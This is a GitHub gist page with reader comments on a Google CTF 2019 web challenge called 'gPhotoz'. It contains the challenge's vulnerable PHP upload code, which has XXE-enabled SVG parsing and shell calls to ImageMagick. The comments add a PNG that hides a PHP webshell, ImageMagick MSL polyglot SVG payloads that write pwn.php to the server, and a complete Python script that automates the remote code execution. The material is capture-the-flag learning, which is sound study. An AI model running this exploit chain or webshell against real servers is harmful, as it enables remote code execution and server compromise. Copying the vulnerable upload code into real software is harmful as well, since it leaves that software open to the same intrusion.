-
-
Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
<?php | |
// require_once('config.php'); NOTE: the line is commened by the writeup author. config.php is inlined below. | |
/* config.php START */ | |
// XXE? Lame. Real hackers get RCE. | |
$secret = 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ=='; | |
/* config.php END */ | |
error_reporting( E_ALL ); | |
session_start(); | |
// totally not copy&pasted from somewhere... | |
function get_size($file, $mime_type) { | |
if ($mime_type == "image/png"||$mime_type == "image/jpeg") { | |
$stats = getimagesize($file); | |
$width = $stats[0]; | |
$height = $stats[1]; | |
} else { | |
$xmlfile = file_get_contents($file); | |
$dom = new DOMDocument(); | |
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); | |
$svg = simplexml_import_dom($dom); | |
$attrs = $svg->attributes(); | |
$width = (int) $attrs->width; | |
$height = (int) $attrs->height; | |
} | |
return [$width, $height]; | |
} | |
function workdir() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) | |
mkdir($d); | |
return $d; | |
} | |
function list_photos() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) return []; | |
$result = []; | |
foreach(glob("{$d}/*.*") as $f) { | |
if (strrpos($f, 'small') === FALSE) | |
$result[basename($f)] = $f; | |
} | |
return $result; | |
} | |
function upload() { | |
if (!isset($_FILES['photo'])) | |
return; | |
$p = new PhotoUpload($_FILES['photo']['tmp_name']); | |
$p->thumbnail(); | |
} | |
class PhotoUpload { | |
private $failed = false; | |
function __construct($path) { | |
$formats = [ | |
"image/gif" => "gif", | |
"image/png" => "png", | |
"image/jpeg" => "jpg", | |
"image/svg+xml" => "svg", | |
// Uncomment when launching gVideoz | |
//"video/mp4" => "mp4", | |
]; | |
$mime_type = mime_content_type($path); | |
if (!array_key_exists($mime_type, $formats)) { | |
die; | |
} | |
$size = get_size($path, $mime_type); | |
if ($size[0] * $size[1] > 65536) { | |
die; | |
} | |
$this->ext = $formats[$mime_type]; | |
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}"; | |
move_uploaded_file($path, workdir()."/{$this->name}"); | |
} | |
function thumbnail() { | |
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret); | |
if ($ret) | |
$this->failed = true; | |
} | |
function __destruct() { | |
if ($this->failed) { | |
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); | |
} | |
} | |
} | |
if (isset($_GET['action'])) { | |
switch ($_GET['action']) { | |
case 'upload': | |
upload(); | |
header('Location: ?'); | |
die; | |
break; | |
case 'src': | |
show_source(__FILE__); | |
die; | |
default: | |
break; | |
} | |
} | |
?> | |
<html> | |
<head> | |
<title>gPhotoz</title> | |
</head> | |
<body> | |
<div> | |
<form action="?action=upload" method="POST" enctype="multipart/form-data"> | |
<input type="file" name="photo"><input type="submit" value="Upload"> | |
</form> | |
</div> | |
<div> | |
<?php foreach(list_photos() as $name => $path): ?> | |
<div> | |
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a> | |
</div> | |
<?php endforeach ?> | |
</div> | |
</body> | |
<a href="?action=src"></a> | |
</html> |
Hey,
I rechecked the post and found out that I forgot to include the ending ?>
in my image generation command, so the image is invalid when parsed as php script.
The correct command should be:
convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] png.image.png
Note that the comment ends with ?>
now. Size doesn't matter here, so I changed it to 1x1.
BTW, the image is nothing more than a PHP script that is also a valid PNG. I'm sure you've seen something like this earlier. The command above is just a convenient way to generate such images.
You can check the image by "running" it locally.
If you supply invalid image to php, it will complain about syntax errors:
$ php shitty_image.png
PHP Parse error: syntax error, unexpected ':' in /home/emil/googlectf2019/shitty_image.png on line 5
If you supply a valid image, it will output a bunch of binary data along with Undefined index: cmd
message:
$ php good_image.png
PNG
IHDROgAMA
x*$tEXtcommentPHP Notice: Undefined index: cmd in /home/emil/googlectf2019/good_image.png on line 5
8%tEXtdate:create2019-06-23T17:03:50+03:00ώ%tEXtdate:modify2019-06-23T17:03:50+03:00yw2IENDB`
You also might want to change shell_huihui.php
to something else now, I'm not sure if the upload/
folder is cleared properly in the challenge and I don't know how imagemagick handles already existing files.
Yes!! I realised you missed out the closing tag ?>
- I tried to test the payload locally, by typing php shell.png
in my console ... totally works now~ yay ... Thanks so much for your help; brilliant exploit, and awesome clear writeup 🌟
I got my payload to work, and was about to leave a comment here to say so, before I read your reply above.
I went to grab a 1x1 black png from http://png-pixel.com, then mogrify -set comment '<?php echo phpinfo(); ?>' step1-shell.png
step2-polymorph.svg
<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
<write filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/pwn.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
</svg>
</image>
step3.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/9b14b2b773d35dfa1b13455744560ccb.svg" />
</svg>
I'm trying to spend this week (and maybe next) following through all the writeups to learn, while the challenges are still up
Nicely done. Thanks for reading our writeup.
I think imagemagick still has a lot of bugs to find )
Nicely done. Thanks for reading our writeup.
np
I think imagemagick still has a lot of bugs to find )
oh ok
automated
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re
import io
import sys
sys.dont_write_bytecode = True
import base64
import subprocess
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup
if __name__ == "__main__":
# convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' "rgba:/dev/urandom[0]" shell.png
# @ http://png-pixel.com
the_png = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
the_png = base64.b64decode(the_png)
filepath = "1x1.png"
with open(filepath,"wb") as f: f.write(the_png)
print>>sys.stderr, "=>",filepath
# @ https://stackoverflow.com/questions/44017632/imagemagick-adding-and-reading-comment#answer-44018387
cmd = ["mogrify","-set","comment","\"<?php system('/get_flag') ?>\"",filepath]
print>>sys.stderr, " ".join(cmd)
proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
# stdin=subprocess.PIPE,
# stdout=subprocess.PIPE,stderr=subprocess.PIPE,
# shell=True,close_fds=True)
stdout,stderr = proc.communicate()
if stderr: print>>sys.stderr, "err:",stderr
if stdout: print stdout
# proc.wait()
# stderr = proc.stderr.read()
# if stderr: print>>sys.stderr, "err:",stderr
# stdout = proc.stdout.read()
# print stdout
# curl -XPOST -sL "http://gphotos.ctfcompetition.com:1337/?action=upload" -H "Cookie: PHPSESSID=..." -F "photo=@1x1.png"
sess = requests.Session()
baseuri = "http://gphotos.ctfcompetition.com:1337"
resp = sess.get(baseuri)
assert "Set-Cookie" in resp.headers
hdr_cookie = resp.headers["Set-Cookie"]
m = re.match(r"^PHPSESSID=([a-z0-9]{26})",hdr_cookie)
if m:
sess_id = m.group(1)
print "PHPSESSID=%s"%sess_id
hdr = {"Cookie":"PHPSESSID=%s"%sess_id}
the_url = "%s/?action=upload"%baseuri
files = {"photo":open(filepath,"rb")}
# print>>sys.stderr, requests.Request("POST",the_url,files=files).prepare().body
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==1:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.png",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/{0}/{1}.png" />
<write filename="/var/www/html/upload/{0}/pwn.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/{0}/{1}.png" />
</svg>
</image>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
polymorph = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":polymorph}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==2:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.svg",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/{0}/{1}.svg" />
</svg>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
step3 = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":step3}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
# the_url = "%s/upload/%s/pwn.php?cmd=system(\"/get_flag\")"%(baseuri,img_dir)
the_url = "%s/upload/%s/pwn.php"%(baseuri,img_dir)
resp = sess.get(the_url,headers=hdr)
print resp.content
# CTF{8d62b2ffc578227e67ca8bab53420ded}
sess.close()
Nice!
yeah, I think you're absolutely spot-on - that HTTP 404 means the file is not there, while HTTP 500 means some error occurred during execution
I tried a couple of things before leaving my original comment here - I thought it might be some restriction whereby you can't execute the php code other than from your designated "<hash>" folder (using the same notation in your writeup), I also tried to use the simpler
ls
shell/system payload i.e. hardcode without parameter, in case of some issue in the URL param; and the basicphpinfo()
function, cleared my PHP session cookie etc. Then I thought maybe the Google authors disabled the code execution function so that the webshell fails, but that seems highly unlikely, since the earlier steps work, and the final step is executed on the same box anyway. haha when it doesn't work, I usually throw away all my assumptions, and think of any crazy excuse that make things somehow failI used the shell.png payload as described in your step 1, which contains
<?
, so I'm guessing you're asking me to look out for other stray<?
marks in shell.png. maybe I'm using a different version of imagemagick on a different OS platformi guess if all else fails, i could setup a local dev mirror of this gist to troubleshoot the issue